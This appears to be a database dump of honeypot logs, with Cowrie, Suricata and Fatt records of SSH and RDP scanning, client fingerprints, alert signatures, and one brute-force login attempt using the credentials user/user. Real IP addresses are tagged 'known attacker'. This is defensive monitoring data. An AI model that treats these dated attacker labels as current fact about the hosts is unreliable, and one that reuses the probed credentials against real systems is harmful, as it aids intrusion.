{"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 329578545191273, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 31025, "dest_port": 3389, "timestamp": "2021-09-20T12:18:36.472296Z", "@timestamp": "2021-09-20T12:18:36.472Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
37089	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:18:52.156537+03	2021-09-20 15:30:03.190408+03	{"_id": "wQYlA3wBvYTbRNuED2a8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 189.50.42.214:46319 (192.168.176.2:22) [session: b72b3c96e3b1]", "session": "b72b3c96e3b1", "@version": "1", "protocol": "ssh", "src_port": 46319, "dest_port": 22, "timestamp": "2021-09-20T12:18:52.156537Z", "@timestamp": "2021-09-20T12:18:52.156Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	BR
37084	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:18:36.401184+03	2021-09-20 15:30:03.183411+03	{"_id": "cQYkA3wBvYTbRNuE0mY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:36.301417+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 329578545191273, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 31025, "timestamp": "2021-09-20T12:18:36.401184Z", "@timestamp": "2021-09-20T12:18:36.401Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
37085	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:18:37.456423+03	2021-09-20 15:30:03.184411+03	{"_id": "fwYkA3wBvYTbRNuE1WYb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "9ac71a943a4b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:18:37.456423Z", "@timestamp": "2021-09-20T12:18:37.456Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
37086	20.82.19.171	109.199.241.180	Suricata	2021-09-20 15:18:37.215429+03	2021-09-20 15:30:03.18641+03	{"_id": "gQYkA3wBvYTbRNuE1mYj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:36.904133+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "20.82.19.171", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "20.82.19.171", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1643948059446213, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62645, "timestamp": "2021-09-20T12:18:37.215429Z", "@timestamp": "2021-09-20T12:18:37.215Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
37087	119.29.153.168	109.199.241.180	Fatt	2021-09-20 15:18:37.742864+03	2021-09-20 15:30:03.187411+03	{"_id": "gwYkA3wBvYTbRNuE12YW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54838, "dest_port": 22, "timestamp": "2021-09-20T12:18:37.742864", "@timestamp": "2021-09-20T12:18:37.742Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
37088	221.181.185.140	109.199.241.180	Fatt	2021-09-20 15:18:49.217524+03	2021-09-20 15:30:03.189409+03	{"_id": "pgYlA3wBvYTbRNuEAmYV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "221.181.185.140", "asn": 56046, "as_org": "China Mobile communications corporation", "latitude": 32.7893, "location": {"lat": 32.7893, "lon": 119.4418}, "timezone": "Asia/Shanghai", "city_name": "Gaoyou", "longitude": 119.4418, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "221.181.185.140", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 35762, "dest_port": 22, "timestamp": "2021-09-20T12:18:49.217524", "@timestamp": "2021-09-20T12:18:49.217Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
37090	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:18:52.399456+03	2021-09-20 15:30:03.191409+03	{"_id": "xAYlA3wBvYTbRNuED2a8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "b72b3c96e3b1", "@version": "1", "timestamp": "2021-09-20T12:18:52.399456Z", "@timestamp": "2021-09-20T12:18:52.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	BR
37091	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:52.599045+03	2021-09-20 15:30:03.193408+03	{"_id": "xQYlA3wBvYTbRNuED2a8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "e4352168ab0e", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:18:52.599045Z", "@timestamp": "2021-09-20T12:18:52.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
37092	189.50.42.214	109.199.241.180	Suricata	2021-09-20 15:18:52.392311+03	2021-09-20 15:30:03.194409+03	{"_id": "xgYlA3wBvYTbRNuEEGbD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "flow_id": 1276124913667941, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46319, "dest_port": 22, "timestamp": "2021-09-20T12:18:52.392311Z", "@timestamp": "2021-09-20T12:18:52.392Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	BR
37093	189.50.42.214	109.199.241.180	Fatt	2021-09-20 15:18:52.393175+03	2021-09-20 15:30:03.195409+03	{"_id": "ywYlA3wBvYTbRNuEEWa4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 46319, "dest_port": 22, "timestamp": "2021-09-20T12:18:52.393175", "@timestamp": "2021-09-20T12:18:52.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	BR
37094	5.188.62.196	109.199.241.180	Fatt	2021-09-20 15:18:39.111833+03	2021-09-20 15:30:03.197409+03	{"_id": "jAYkA3wBvYTbRNuE22ZH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 60984, "dest_port": 22, "timestamp": "2021-09-20T12:18:39.111833", "@timestamp": "2021-09-20T12:18:39.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
37228	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:20:17.428618+03	2021-09-20 15:30:03.389882+03	{"_id": "DQYmA3wBvYTbRNuEXWjq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 51039, "dest_port": 3389, "timestamp": "2021-09-20T12:20:17.428618", "@timestamp": "2021-09-20T12:20:17.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
37095	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:39.047078+03	2021-09-20 15:30:03.198408+03	{"_id": "jQYkA3wBvYTbRNuE3Gbs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:60984 (192.168.176.2:22) [session: b23fcb0228a5]", "session": "b23fcb0228a5", "@version": "1", "protocol": "ssh", "src_port": 60984, "dest_port": 22, "timestamp": "2021-09-20T12:18:39.047078Z", "@timestamp": "2021-09-20T12:18:39.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	RU
37096	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:18:41.766565+03	2021-09-20 15:30:03.200411+03	{"_id": "mgYkA3wBvYTbRNuE52YA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "23.97.240.235", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43586, "timestamp": "2021-09-20T12:18:41.766565", "@timestamp": "2021-09-20T12:18:41.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
